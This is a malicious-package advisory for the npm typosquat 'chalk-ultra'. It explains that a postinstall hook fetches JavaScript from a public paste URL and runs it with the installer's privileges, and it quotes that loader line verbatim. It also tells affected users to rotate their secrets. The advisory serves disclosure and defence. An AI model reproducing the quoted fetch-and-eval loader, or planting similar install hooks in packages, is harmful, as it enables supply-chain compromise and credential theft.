Advisory

MAL-2026-6300

Also known as: GHSA-vgq4-6c53-5826

Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.

Summary

Malicious code in chalk-ultra (npm)

Details

---
_-= Per source details. Do not edit below this line.=-_

Source: amazon-inspector (9a219b45c3fdcdb883eeb2c7e74d20060af2c788865e7925f911e40276dcd631)
chalk-ultra is published under a name that mimics the widely-used chalk package, but its main is a verbatim copy of nodemailer source and its package.json declares "postinstall": "node lib/utils/index.js". The postinstall path detaches into lib/utils/smtp-connection/index.js, which executes require("axios").get("https://jsonkeeper.com/b/OMNQZ").then(r=>new Function("require",r.data.cookie)(require)) — fetching JavaScript from a public, mutable paste host and evaluating it via new Function with the installer's require and full process privileges at install time. A sibling file lib/utils/smtp-connection/parse.js exports an AES-256-CBC decryption helper with a hardcoded key (1c7631ac...0566) and IV (cf17723e...39d6), pre-staged to decode encrypted strings handed back by the remote second-stage payload. Any developer running npm install chalk-ultra executes whatever JavaScript the attacker is currently hosting at the jsonkeeper.com URL, with the installer's network access, environment variables, credentials, and filesystem.

Source: ghsa-malware (89b8d71f76034393365529e64ecc504e74681ced32fcd6d4741ae2633c1c4cc1)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Severity

Not rated by the source.

Dates

Published
2026-06-23 15:25 UTC
Modified
2026-06-23 17:16 UTC

Affected packages and fixes

chalk-ultra

npm · All systems

Affected

  • introduced 0 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: OpenSSF Malicious Packages · Apache-2.0

Sources & licences